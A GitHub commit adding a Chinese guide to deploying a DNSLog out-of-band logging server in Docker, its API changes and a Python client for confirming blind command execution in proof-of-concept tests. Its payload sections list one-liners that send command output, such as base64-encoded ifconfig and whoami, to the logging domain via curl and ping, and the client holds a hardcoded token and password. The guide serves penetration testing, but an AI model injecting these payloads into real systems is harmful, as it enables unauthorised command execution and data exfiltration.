Skip to content

Commit 94bd46c

Browse files
committed
更新DNSLog API的脚本
1 parent 58cfca0 commit 94bd46c

4 files changed

+392
-353
lines changed

DNSLog的docker部署和API调用.md

+390
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,390 @@
1+
Title:DNSLog的docker部署和API调用
2+
Date: 2020-08-04 10:20
3+
Category: 工具相关
4+
Tags: dnslog,docker,API
5+
Slug:
6+
Authors: bit4woo
7+
Summary:DNSLog的docker方式部署、API改造、API自动化调用
8+
9+
10+
11+
本文档主要记录使用docker搭建dnslog的过程,以及对原版的改造实现API自动调用。使用如下项目版本,基于[原版](https://github.com/BugScanTeam/DNSLog)做了一些修改:
12+
13+
https://github.com/bit4woo/DNSLog
14+
15+
感谢[草粉师傅](https://github.com/coffeehb)的帮助
16+
17+
### 0x0、域名和配置
18+
19+
搭建并使用 DNSLog,需要拥有两个域名:
20+
21+
1. 一个作为 NS 服务器域名(例:code2sec.com):在其中设置两条 A 记录指向我们的公网 IP 地址(无需修改DNS服务器,使用运营商默认的就可以了):
22+
23+
```
24+
ns1.code2sec.com A 记录指向 10.11.12.13
25+
ns2.code2sec.com A 记录指向 10.11.12.13
26+
```
27+
28+
2. 一个用于记录域名(例: 0v0.com):修改 0v0.com 的 NS 记录为 1 中设定的两个域名(无需修改DNS服务器,使用运营商默认的就可以了):
29+
30+
```
31+
NS *.0v0.com ns1.code2sec.com
32+
NS *.0v0.com ns2.code2sec.com
33+
```
34+
35+
<u>注意:按照dnslog的说明是修改NS记录,但是自己的部署中修改了好几天之后仍然不正常,就转为修改DNS服务器,而后成功了。修改DNS服务器之后就无需在域名管理页面设置任何DNS记录了,因为这部分是在DNSlog的python代码中实现的。</u>
36+
37+
![changeNameServer](img/docker+dnslog/changeNameServer.png)
38+
39+
### 0x1、docker镜像构造
40+
41+
dockerfile内容如下
42+
43+
```dockerfile
44+
FROM ubuntu:14.04
45+
46+
RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
47+
48+
RUN apt-get update -y && apt-get install -y python && apt-get install python-pip -y && apt-get install git -y
49+
RUN git clone https://github.com/bit4woo/DNSLog
50+
WORKDIR /DNSLog/dnslog
51+
RUN pip install -r requirements.pip
52+
53+
COPY ./settings.py /DNSLog/dnslog/dnslog/settings.py
54+
55+
COPY ./start.sh /DNSLog/dnslog/start.sh
56+
RUN chmod +x start.sh
57+
CMD ["./start.sh"]
58+
59+
EXPOSE 80
60+
```
61+
62+
下载 `dnslog/dnslog/settings.py`并对如下字段进行对应的修改,保存settings.py:
63+
64+
```python
65+
# 做 dns 记录的域名
66+
DNS_DOMAIN = '0v0.com'
67+
68+
# 记录管理的域名, 这里前缀根据个人喜好来定
69+
ADMIN_DOMAIN = 'admin.0v0.com'
70+
71+
# NS域名
72+
NS1_DOMAIN = 'ns1.code2sec.com'
73+
NS2_DOMAIN = 'ns2.code2sec.com'
74+
75+
# 服务器外网地址
76+
SERVER_IP = '10.11.12.13'
77+
```
78+
79+
创建一个dnslog的启动脚本,保存为start.sh:
80+
81+
```bash
82+
#!/bin/bash
83+
python manage.py runserver 0.0.0.0:80
84+
```
85+
86+
准备好如上3个文件后,可以构建镜像了
87+
88+
```bash
89+
docker build .
90+
docker tag e99c409f6585 bit4/dnslog
91+
docker run -d -it -p 80:80 -p 53:53/udp bit4/dnslog
92+
#注意这个53udp端口,感谢CF_HB师傅的指导
93+
94+
docker exec -it container_ID_or_name /bin/bash
95+
./start.sh
96+
```
97+
98+
99+
100+
### 0x2、配置验证
101+
102+
使用nslookup命令进行验证,如果可以直接测试xxx.test.0v0.com了,说明所有配置已经全部生效;如果直接查询失败,而指定了dns服务器为 ns1.code2sec.com查询成功,说明dns服务器配置正确了,但是ns记录的设置需要等待同步或者配置错误。
103+
104+
```
105+
nslookup
106+
xxx.test.0v0.com
107+
server ns1.code2sec.com
108+
yyy.test.0v0.com
109+
```
110+
111+
当然,在查询的同时可以登录网页端配合查看,是否收到请求。
112+
113+
在我自己的部署中,发现修改ns记录很久后仍然不能直接查询到 xxx.test.0v0.com,想到NS记录配置和DNS服务器设置都是修改解析的域名的服务器配置,就尝试修改了DNS服务器为 ns1.code2sec.com, 结果就一切正常了。
114+
115+
116+
117+
### 0x3、管理网站
118+
119+
后台地址:http://0v0.com/admin/ admin admin
120+
121+
用户地址:http://admin.0v0.com/ test 123456
122+
123+
更多详细问题参考项目https://github.com/BugScanTeam/DNSLog
124+
125+
**记得修改默认的账号密码!**
126+
127+
128+
129+
升级操作
130+
131+
```bash
132+
#备份数据库和配置文件
133+
mv /DNSLog/dnslog/dnslog/settings.py /DNSLog/dnslog/dnslog/settings.py.bak
134+
mv /DNSLog/dnslog/dsqlite3 /DNSLog/dnslog/dsqlite3.bak
135+
#拉取新的网站源码
136+
cd /DNSLog/dnslog/
137+
git pull
138+
#恢复数据库和配置文件
139+
mv /DNSLog/dnslog/dnslog/settings.py.bak /DNSLog/dnslog/dnslog/settings.py
140+
mv /DNSLog/dnslog/dsqlite3.bak /DNSLog/dnslog/dsqlite3
141+
142+
#如果操作过程中docker自动退出而无法启动,可以通过docker cp进行文件的操作
143+
root@dnslog:~# docker cp cranky_cray:/DNSLog/dnslog/dnslog/settings.py.bak settings.py.bak
144+
root@dnslog:~# docker cp settings.py.bak cranky_cray:/DNSLog/dnslog/dnslog/settings.py
145+
146+
root@dnslog:~# docker cp cranky_cray:/DNSLog/dnslog/db.sqlite3.bak db.sqlite3.bak
147+
root@dnslog:~# docker cp db.sqlite3.bak cranky_cray:/DNSLog/dnslog/db.sqlite3
148+
```
149+
150+
### 0x4、payload使用技巧
151+
152+
**兼容windows和linux**
153+
154+
```bash
155+
#方法一、||是或逻辑, 如果第一个命令执行成功,将不会执行第二个;而如果第一个执行失败,将会执行第二个。
156+
ping -n 3 xxx.test.0v0.com || ping -c 3 xxx.test.0v0.com
157+
158+
#方法二、群里大佬发了一个兼容windows和Linux的ping命令!!!6666
159+
ping -nc 3 xxx.test.0v0.com
160+
```
161+
162+
163+
164+
**命令优先执行**
165+
166+
```bash
167+
%OS%
168+
#windows的系统变量,用set命令可以查看所有可用的变量名称
169+
`whomai`
170+
#linux下的命令优先执行,注意是反引号(`)这个字符一般在键盘的左上角,数字1的左边
171+
172+
173+
使用实例:
174+
curl "http://xxx.test.0v0.com/?`whoami`"
175+
ping -c 3 `ifconfig en0|grep "inet "|awk '{print $2}'`.test.0v0.com
176+
#DNS记录中获取源IP地址
177+
```
178+
179+
测试效果如下图:
180+
181+
![command_first](img/docker+dnslog/command_first.png)
182+
183+
184+
185+
**消除空格(Linux下)**
186+
187+
```bash
188+
id|base64 #使用base64对执行的结果进行编码
189+
190+
使用实例:
191+
curl test.0v0.com/`ifconfig|base64 -w 0`
192+
#-w 0 输出内容不换行,推荐这个方法
193+
194+
curl test.0v0.com/`ifconfig |base64 |tr -d '\n'`
195+
#相同的效果
196+
```
197+
198+
![base64](img/docker+dnslog/base64.png)
199+
200+
**window下的curl**
201+
202+
```bash
203+
start http://%OS%.test.0v0.com
204+
#该命令的作用是通过默认浏览器打开网站,缺点是会打开窗口
205+
```
206+
207+
208+
209+
### 0x5、常用payload汇总
210+
211+
212+
213+
```bash
214+
#1.判断系统类型(windows\linux通用)
215+
ping `uname`.0v0.com || ping %OS%.0v0.com
216+
217+
#2.ping,dns类型payload(windows\linux通用)
218+
ping -nc 3 xxx.0v0.com
219+
220+
======================================Linux分割线=====================================
221+
222+
#3.从DNS记录中获取源IP地址
223+
ping -c 3 `ifconfig en0|grep "inet "|awk '{print $2}'`.test.0v0.com
224+
225+
#4.获取命令结果
226+
curl test.0v0.com/`ifconfig|base64 -w 0`
227+
228+
#5.当频繁请求时,如果使用固定的域名,服务器可能不会发起请求,而是使用缓存,也就是说我们的某次请求将有可能收不到DNS请求。
229+
#下面这个payload可以提供变化的子域名,保证每次都能真正发起DNS请求。
230+
ping -c 3 `date +%H-%M-%S`.test.0y0.link
231+
232+
```
233+
234+
### 0x6、对DNSlog的改造
235+
236+
一切为了自动化,想要在各种远程命令执行的poc中顺利使用DNSlog,对它进行了改造,新增了三个API接口:
237+
238+
```python
239+
http://127.0.0.1:8000/apilogin/{username}/{password}/
240+
#http://127.0.0.1:8000/apilogin/test/123456/
241+
#登陆以获取token
242+
接口以JSON格式返回结果:
243+
{"status": true, "token": "ed691017b35866ab734e44c92c1a066a"}
244+
{"status": false, "token": ""}
245+
246+
247+
http://127.0.0.1:8000/apiquery/{logtype}/{subdomain}/{token}/
248+
#http://127.0.0.1:8000/apiquery/dns/testdomain/ed691017b35866ab734e44c92c1a0669/
249+
#查询特定域名的某类型记录
250+
{"status": true, "content": "rmiyso.bit.0y0.link.,rmiyso.bit.0y0.link."}
251+
{"status": false, "content": ""}
252+
253+
254+
http://127.0.0.1:8000/apidel/{logtype}/{udomain}/{token}/
255+
#http://127.0.0.1:8000/apidel/dns/testdomain/a2f78f403d7b8b92ca3486bb4dc0e498/
256+
#删除特定域名的某类型记录
257+
{"status": true}
258+
{"status": false}
259+
```
260+
261+
改造后的项目地址https://github.com/bit4woo/DNSLog
262+
263+
### 0x7、本地接口类
264+
265+
服务端OK了之后,为了在poc中快速调用,也在本地实现了一个类:
266+
267+
```python
268+
# !/usr/bin/env python
269+
# -*- coding:utf-8 -*-
270+
__author__ = 'bit4woo'
271+
__github__ = 'https://github.com/bit4woo'
272+
273+
import hashlib
274+
import time
275+
import requests
276+
import json
277+
278+
class DNSlog():
279+
def __init__(self):
280+
self.subdomain = hashlib.md5(str(time.time())).hexdigest()
281+
self.user_host = "bit.0y0.link"
282+
self.api_host = "admin.0y0.link"
283+
self.API_token = "3005b3d03d5f7aa975b5025145bbas8a"
284+
self.username= "bit4woo"
285+
self.password = "password"
286+
287+
def getPayload(self):
288+
payload = "{0}.{1}".format(self.subdomain, self.user_host)
289+
return payload
290+
291+
# to get token
292+
def __freshToken__(self,username=None,password=None):
293+
if username != None:
294+
self.username = username
295+
if password != None:
296+
self.password = password
297+
url = "http://{0}/apilogin/{1}/{2}/".format(self.api_host,self.username,self.password)
298+
# print("DNSlog Login: {0}".format(url))
299+
response = requests.get(url, timeout=60, verify=False, allow_redirects=False)
300+
if response.status_code == 200:
301+
status = json.loads(response.content)["status"]
302+
token = json.loads(response.content)["token"]
303+
if status == True:
304+
self.API_token = token
305+
print("fresh API token successed")
306+
return True
307+
else:
308+
print("fresh API token failed")
309+
return False
310+
else:
311+
print("DNSlog Server Error!")
312+
print("fresh API token failed")
313+
return False
314+
315+
def query(self,subdomain=None,type="dns",token=None):
316+
if token != None:
317+
self.API_token = token
318+
319+
if type.lower() in ["dns","web"]:
320+
pass
321+
else:
322+
print("error type")
323+
return False
324+
325+
if subdomain != None:
326+
self.subdomain = subdomain
327+
url = "http://{0}/apiquery/{1}/{2}/{3}/".format(self.api_host,type,self.subdomain,self.API_token)
328+
#print("DNSlog Query: {0}".format(url))
329+
try:
330+
rep = requests.get(url, timeout=60, verify=False, allow_redirects=False)
331+
status = json.loads(rep.content)["status"]
332+
if status ==True:
333+
return status
334+
else:
335+
self.__freshToken__()
336+
rep = requests.get(url, timeout=60, verify=False, allow_redirects=False)
337+
status = json.loads(rep.content)["status"]
338+
return status
339+
except Exception as e:
340+
return False
341+
342+
def delete(self, subdomain,type="dns", token =None):
343+
if token != None:
344+
self.API_token = token
345+
346+
if type.lower() in ["dns","web"]:
347+
pass
348+
else:
349+
print("error type")
350+
return False
351+
352+
if subdomain != None:
353+
self.subdomain = subdomain
354+
url = "http://{0}/apidel/{1}/{2}/{3}/".format(self.api_host,type,self.subdomain,self.API_token)
355+
#print("DNSlog Delete: {0}".format(url))
356+
try:
357+
rep = requests.get(url, timeout=60, verify=False, allow_redirects=False)
358+
status = json.loads(rep.content)["status"]
359+
if status ==True:
360+
return status
361+
else:
362+
self.__freshToken__()
363+
rep = requests.get(url, timeout=60, verify=False, allow_redirects=False)
364+
status = json.loads(rep.content)["status"]
365+
return status
366+
except Exception as e:
367+
return False
368+
369+
if __name__ == "__main__":
370+
dnslog = DNSlog()
371+
payload = dnslog.getPayload()
372+
print(dnslog.query())
373+
```
374+
375+
调用流程:
376+
377+
1. 首先实例化DNSlog类,会根据当前时间生成一个子域名。
378+
2. 调用getPayload()方法获取payload
379+
3. 在自己的PoC中使用payload
380+
4. 使用query()检查DNSlog是否收到该域名的相关请求,有则认为命令执行成功漏洞存在,否则任务不存在。
381+
382+
```
383+
最简单的使用模式:
384+
385+
dnslog = DNSlog()
386+
payload = dnslog.getPayload()
387+
print(dnslog.query())
388+
389+
```
390+

0 commit comments

Comments
 (0)